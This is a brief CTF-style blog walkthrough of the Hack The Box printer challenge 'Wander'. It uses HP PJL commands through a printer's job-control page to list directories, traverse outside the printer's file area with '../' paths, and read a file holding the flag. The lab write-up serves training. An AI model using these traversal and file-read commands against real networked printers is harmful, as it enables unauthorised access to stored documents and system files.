Skip to content
TrompieSec
Hack The Box1 min read

HTB - Printer Exploitation Track - Wander

Printer Exploitation Track - - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

HTB - Printer Exploitation Track - Wander#

image1

Go to the site:

image2

  • If we go to Job Controls - we can use PJL commands:

image3

PDF:

https://developers.hp.com/system/files/attachments/PJLReference%282003%29_0.pdf

  • Here it explains PJL commands and how to use them.

  • If we use @PJL FSDIRLIST NAME="0:" ENTRY=1

image4

  • We can see the current dir

  • We can try and go up the directory tree with:

@PJL FSDIRLIST NAME="0:/../../" ENTRY=1

image5

@PJL FSDIRLIST NAME="0:/../../home/default" ENTRY=1

image6

  • Downloading doesn't work for me:

@PJL FSDOWNLOAD FORMAT:BINARY NAME="0:/../../home/default/readyjob" SIZE=457

  • But using upload - it seems you can read the file:

@PJL FSUPLOAD FORMAT:BINARY NAME="0:/../../home/default/readyjob" SIZE=457

image7

And we get the flag

Related articles

Hack The Box2 min

HTB - Printer Exploitation Track - Antique

Printer Exploitation Track - - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • printer
  • pjl
  • pret
  • tryhackme
  • hackthebox
Hack The Box1 min

HTB - Printer Exploitation Track - Return

Printer Exploitation Track - - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • printer
  • pjl
  • pret
  • tryhackme
  • hackthebox
Hack The Box8 min

HTB - Analysis

Analysis - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • gobuster
  • impacket
  • ldap
  • linux
  • nmap